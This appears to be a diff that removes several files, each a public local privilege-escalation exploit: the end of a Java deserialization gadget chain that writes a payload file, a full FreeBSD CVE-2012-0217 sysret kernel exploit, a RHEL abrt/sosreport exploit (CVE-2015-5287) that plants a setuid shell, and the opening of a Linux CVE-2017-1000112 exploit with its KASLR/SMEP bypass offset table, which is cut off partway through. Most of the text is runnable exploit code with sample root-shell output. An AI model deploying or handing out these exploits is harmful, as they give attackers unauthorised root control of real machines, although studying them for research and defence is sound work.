Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
|
||||
m_aExtractor.setAccessible(true);
|
||||
|
||||
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
|
||||
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
|
||||
reflectionExtractor
|
||||
};
|
||||
|
||||
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
|
||||
|
||||
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
m_aExtractor.set(chainedExtractor1, valueExtractors);
|
||||
|
||||
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = Runtime.class;
|
||||
queueArray[1] = "1";
|
||||
|
||||
|
||||
FileOutputStream fos = new FileOutputStream("payload_obj.ser");
|
||||
ObjectOutputStream os = new ObjectOutputStream(fos);
|
||||
os.writeObject(queue);
|
||||
os.close();
|
||||
}
|
||||
}
|
||||
@@ -1,345 +0,0 @@
|
||||
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
|
||||
// Copyright 2012 all right reserved, not for commercial uses, bitches
|
||||
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <machine/cpufunc.h>
|
||||
#define _WANT_UCRED
|
||||
#include <sys/proc.h>
|
||||
#include <machine/segments.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/linker.h>
|
||||
|
||||
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
|
||||
|
||||
struct gate_descriptor * sidt()
|
||||
{
|
||||
struct region_descriptor idt;
|
||||
|
||||
asm ("sidt %0": "=m"(idt));
|
||||
|
||||
return (struct gate_descriptor*)idt.rd_base;
|
||||
}
|
||||
|
||||
u_long get_symaddr(char *symname)
|
||||
{
|
||||
struct kld_sym_lookup ksym;
|
||||
|
||||
ksym.version = sizeof (ksym);
|
||||
ksym.symname = symname;
|
||||
|
||||
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
|
||||
perror("kldsym");
|
||||
exit(1);
|
||||
}
|
||||
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
|
||||
return ksym.symvalue;
|
||||
}
|
||||
|
||||
// Code taken from amd64/amd64/machdep.c
|
||||
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
|
||||
{
|
||||
struct gate_descriptor *ip;
|
||||
|
||||
ip = idt + idx;
|
||||
ip->gd_looffset = func;
|
||||
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip->gd_ist = ist;
|
||||
ip->gd_xx = 0;
|
||||
ip->gd_type = typ;
|
||||
ip->gd_dpl = dpl;
|
||||
ip->gd_p = 1;
|
||||
ip->gd_hioffset = func>>16;
|
||||
}
|
||||
|
||||
void shellcode()
|
||||
{
|
||||
// Actually we dont really need to spawn a shell since we
|
||||
// changed our whole cred struct.
|
||||
// Just exit...
|
||||
printf("[*] Got root!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void kernelmodepayload()
|
||||
{
|
||||
struct thread *td;
|
||||
struct ucred *cred;
|
||||
|
||||
// We need to restore/recover whatever we smashed
|
||||
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
|
||||
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
|
||||
// idt[18], idt[17] and idt[16]
|
||||
// thus overall we have:
|
||||
// - idt[18], idt[17] and idt[16] are trashed
|
||||
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
|
||||
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
|
||||
// - rdi -> overwrites the 64bit-LSB of idt[7]
|
||||
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
|
||||
struct gate_descriptor *idt = sidt();
|
||||
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
|
||||
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
|
||||
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
|
||||
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
|
||||
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
|
||||
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
|
||||
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
|
||||
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
|
||||
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
|
||||
|
||||
// get the thread pointer
|
||||
asm ("mov %%gs:0, %0" : "=r"(td));
|
||||
|
||||
// The Dark Knight Rises
|
||||
cred = td->td_proc->p_ucred;
|
||||
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
|
||||
cred->cr_groups[0] = 0;
|
||||
|
||||
// return to user mode to spawn the shell
|
||||
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
|
||||
}
|
||||
|
||||
#define TRIGGERCODESIZE 20
|
||||
#define TRAMPOLINECODESIZE 18
|
||||
|
||||
void trigger()
|
||||
{
|
||||
printf("[*] Setup...\n");
|
||||
// Allocate one page just before the non-canonical address
|
||||
printf(" [+] Trigger code...\n");
|
||||
uint64_t pagesize = getpagesize();
|
||||
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
|
||||
area = mmap(area, pagesize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (area == MAP_FAILED) {
|
||||
perror("mmap (trigger)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Copy the trigger code at the end of the page
|
||||
// such that the syscall instruction is at its
|
||||
// boundary
|
||||
char triggercode[] =
|
||||
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
|
||||
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
|
||||
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
|
||||
"\x0f\x05"; // syscall
|
||||
|
||||
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
|
||||
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
|
||||
|
||||
// There are two outcomes given a target rsp:
|
||||
// - if rsp can't be written to, a double fault is triggered
|
||||
// (Xdblfault defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to a special stack
|
||||
// - otherwise a #GP is triggered
|
||||
// (Xprot defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to [rsp]
|
||||
//
|
||||
// In the latter case, trouble is... #GP triggers a page fault
|
||||
// (Xpage):
|
||||
// IDTVEC(prot)
|
||||
// subq $TF_ERR,%rsp
|
||||
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
|
||||
// [2] movq $0,TF_ADDR(%rsp)
|
||||
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
|
||||
// leaq doreti_iret(%rip),%rdi
|
||||
// cmpq %rdi,TF_RIP(%rsp)
|
||||
// je 1f /* kernel but with user gsbase!! */
|
||||
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
|
||||
// jz 2f /* already running with kernel GS.base */
|
||||
// 1: swapgs
|
||||
// 2: movq PCPU(CURPCB),%rdi [5]
|
||||
//
|
||||
// [4] sets the Z flag because we come from the kernel (while executing sysret)
|
||||
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
|
||||
// it was restored just before calling sysret...
|
||||
// Thus, [5] triggers a pagefault while trying to access gs:data
|
||||
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
|
||||
//
|
||||
// We therefore need a way: (1) to recover from the GP, (2) to clean
|
||||
// any mess we did. Both could be solved if we can get get an arbitrary
|
||||
// code execution by the time we reach [5] (NB: this is not mandatory, we could
|
||||
// get the code execution later down the fault trigger chain)
|
||||
//
|
||||
// So... here is the idea: wouldn't it be nice if we could overwrite the
|
||||
// page fault handler's address and therefore get code execution when [5]
|
||||
// triggers the #PF?
|
||||
//
|
||||
// For reference:
|
||||
// Gate descriptor:
|
||||
// +0: Target Offset[15:0] | Target Selector
|
||||
// +4: Some stuff | Target Offset[31:16]
|
||||
// +8: Target Offset[63:32]
|
||||
// +12: Stuff
|
||||
//
|
||||
// and from include/frame.h:
|
||||
// struct trapframe {
|
||||
// register_t tf_rdi;
|
||||
// register_t tf_rsi;
|
||||
// register_t tf_rdx;
|
||||
// register_t tf_rcx;
|
||||
// register_t tf_r8;
|
||||
// register_t tf_r9;
|
||||
// register_t tf_rax;
|
||||
// register_t tf_rbx;
|
||||
// register_t tf_rbp;
|
||||
// register_t tf_r10;
|
||||
// register_t tf_r11;
|
||||
// register_t tf_r12;
|
||||
// register_t tf_r13;
|
||||
// register_t tf_r14;
|
||||
// register_t tf_r15;
|
||||
// uint32_t tf_trapno;
|
||||
// uint16_t tf_fs;
|
||||
// uint16_t tf_gs;
|
||||
// register_t tf_addr;
|
||||
// uint32_t tf_flags;
|
||||
// uint16_t tf_es;
|
||||
// uint16_t tf_ds;
|
||||
// /* below portion defined in hardware */
|
||||
// register_t tf_err;
|
||||
// register_t tf_rip;
|
||||
// register_t tf_cs;
|
||||
// register_t tf_rflags;
|
||||
// register_t tf_rsp;
|
||||
// register_t tf_ss;
|
||||
// };
|
||||
//
|
||||
// When the exception is triggered, the hardware pushes
|
||||
// ss, rsp, rflags, cs, rip and err
|
||||
//
|
||||
// We can see that [1], [2] and [3] write to the stack
|
||||
// [3] is fully user-controlled through rdi, so we could try to align
|
||||
// rsp such that [3] overwrites the offset address
|
||||
//
|
||||
// The trouble is... rsp is 16byte aligned for exceptions. We can
|
||||
// therefore only overwrite the first 32-LSB of the offset address
|
||||
// (check how rdi is 16byte aligned in this trapframe)
|
||||
//
|
||||
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
|
||||
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
|
||||
// and tf_trapno is 16byte aligned + 8!
|
||||
// This enables us to set Target Offset[63:32] to 0x9
|
||||
//
|
||||
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
|
||||
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
|
||||
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
|
||||
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
|
||||
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
|
||||
// some setup and jump to our kernel mode code
|
||||
printf(" [+] Trampoline code...\n");
|
||||
char trampolinecode[] =
|
||||
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
|
||||
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
|
||||
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
|
||||
"\xff\xe0"; // jmp rax
|
||||
|
||||
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
|
||||
size_t trampoline_allocsize = pagesize;
|
||||
// We round the address to the PAGESIZE for the allocation
|
||||
// Not enough space for the trampoline code ?
|
||||
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
|
||||
trampoline_allocsize += pagesize;
|
||||
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
|
||||
{
|
||||
perror("mmap (trampoline)");
|
||||
exit(1);
|
||||
}
|
||||
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
|
||||
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
|
||||
// Call it
|
||||
printf("[*] Fire in the hole!\n");
|
||||
((void (*)())trigger_addr)();
|
||||
}
|
||||
|
||||
typedef struct validtarget
|
||||
{
|
||||
char * sysname;
|
||||
char * release;
|
||||
char * machine;
|
||||
} validtarget_t;
|
||||
|
||||
int validate_target(char * sysname, char * release, char * machine)
|
||||
{
|
||||
validtarget_t targets[] = {
|
||||
{ "FreeBSD", "8.3-RELEASE", "amd64" },
|
||||
{ "FreeBSD", "9.0-RELEASE", "amd64" },
|
||||
{ 0, 0, 0 }
|
||||
};
|
||||
|
||||
int found = 0;
|
||||
int i = 0;
|
||||
|
||||
while (!found && targets[i].sysname) {
|
||||
found = !strcmp(targets[i].sysname, sysname)
|
||||
&& !strcmp(targets[i].release, release)
|
||||
&& !strcmp(targets[i].machine, machine);
|
||||
++i;
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
void get_cpu_vendor(char * cpu_vendor)
|
||||
{
|
||||
u_int regs[4];
|
||||
|
||||
do_cpuid(0, regs);
|
||||
((u_int *)cpu_vendor)[0] = regs[1];
|
||||
((u_int *)cpu_vendor)[1] = regs[3];
|
||||
((u_int *)cpu_vendor)[2] = regs[2];
|
||||
cpu_vendor[12] = '\0';
|
||||
}
|
||||
|
||||
int is_intel()
|
||||
{
|
||||
char cpu_vendor[13];
|
||||
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
return !strcmp(cpu_vendor, "GenuineIntel");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
|
||||
|
||||
printf("[*] Retrieving host information...\n");
|
||||
char cpu_vendor[13];
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
struct utsname ver;
|
||||
uname(&ver);
|
||||
printf(" [+] CPU: %s\n", cpu_vendor);
|
||||
printf(" [+] sysname: %s\n", ver.sysname);
|
||||
printf(" [+] release: %s\n", ver.release);
|
||||
printf(" [+] version: %s\n", ver.version);
|
||||
printf(" [+] machine: %s\n", ver.machine);
|
||||
printf("[*] Validating target OS and version...\n");
|
||||
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
|
||||
printf(" [+] NOT Vulnerable :-(\n");
|
||||
exit(1);
|
||||
} else
|
||||
printf(" [+] Vulnerable :-)\n");
|
||||
// Prepare the values we'll need to restore the kernel to a stable state
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
|
||||
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
|
||||
Xill_ptr = (uintptr_t)get_symaddr("Xill");
|
||||
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
|
||||
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
|
||||
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
|
||||
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
|
||||
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
|
||||
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
|
||||
// doeet!
|
||||
trigger();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
# CVE-2015-5287 (?)
|
||||
# abrt/sosreport RHEL 7.0/7.1 local root
|
||||
# rebel 09/2015
|
||||
|
||||
# [user@localhost ~]$ python sosreport-rhel7.py
|
||||
# crashing pid 19143
|
||||
# waiting for dump directory
|
||||
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
|
||||
# waiting for sosreport directory
|
||||
# sosreport: sosreport-localhost.localdomain-20151130194114
|
||||
# waiting for tmpfiles
|
||||
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
|
||||
# moving directory
|
||||
# moving tmpfiles
|
||||
# tmpurfpyY -> tmpurfpyY.old
|
||||
# tmpYnCfnQ -> tmpYnCfnQ.old
|
||||
# waiting for sosreport to finish (can take several minutes)........................................done
|
||||
# success
|
||||
# bash-4.2# id
|
||||
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
# bash-4.2# cat /etc/redhat-release
|
||||
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
|
||||
|
||||
import os,sys,glob,time,sys,socket
|
||||
|
||||
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
|
||||
|
||||
pid = os.fork()
|
||||
|
||||
if pid == 0:
|
||||
os.execl("/usr/bin/sleep","sleep","100")
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
print "crashing pid %d" % pid
|
||||
|
||||
os.kill(pid,11)
|
||||
|
||||
print "waiting for dump directory"
|
||||
|
||||
def waitpath(p):
|
||||
while 1:
|
||||
r = glob.glob(p)
|
||||
if len(r) > 0:
|
||||
return r
|
||||
time.sleep(0.05)
|
||||
|
||||
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
|
||||
|
||||
print "dump directory: ", dumpdir
|
||||
|
||||
os.chdir(dumpdir)
|
||||
|
||||
print "waiting for sosreport directory"
|
||||
|
||||
sosreport = waitpath("sosreport-*")[0]
|
||||
|
||||
print "sosreport: ", sosreport
|
||||
|
||||
print "waiting for tmpfiles"
|
||||
tmpfiles = waitpath("tmp*")
|
||||
|
||||
print "tmpfiles: ", tmpfiles
|
||||
|
||||
print "moving directory"
|
||||
|
||||
os.rename(sosreport, sosreport + ".old")
|
||||
os.mkdir(sosreport)
|
||||
os.chmod(sosreport,0777)
|
||||
|
||||
os.mkdir(sosreport + "/sos_logs")
|
||||
os.chmod(sosreport + "/sos_logs",0777)
|
||||
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
|
||||
|
||||
print "moving tmpfiles"
|
||||
|
||||
for x in tmpfiles:
|
||||
print "%s -> %s" % (x,x + ".old")
|
||||
os.rename(x, x + ".old")
|
||||
open(x, "w+").write("/tmp/hax.sh\n")
|
||||
os.chmod(x,0666)
|
||||
|
||||
|
||||
os.chdir("/")
|
||||
|
||||
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
|
||||
|
||||
|
||||
def trigger():
|
||||
open("/tmp/hax.sh","w+").write(payload)
|
||||
os.chmod("/tmp/hax.sh",0755)
|
||||
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
|
||||
except: pass
|
||||
time.sleep(0.5)
|
||||
try:
|
||||
os.stat("/tmp/sh")
|
||||
except:
|
||||
print "could not create suid"
|
||||
sys.exit(-1)
|
||||
print "success"
|
||||
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
|
||||
sys.exit(-1)
|
||||
|
||||
for x in xrange(0,60*10):
|
||||
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
|
||||
print "done"
|
||||
trigger()
|
||||
time.sleep(1)
|
||||
sys.stderr.write(".")
|
||||
|
||||
print "timed out"
|
||||
@@ -1,884 +0,0 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
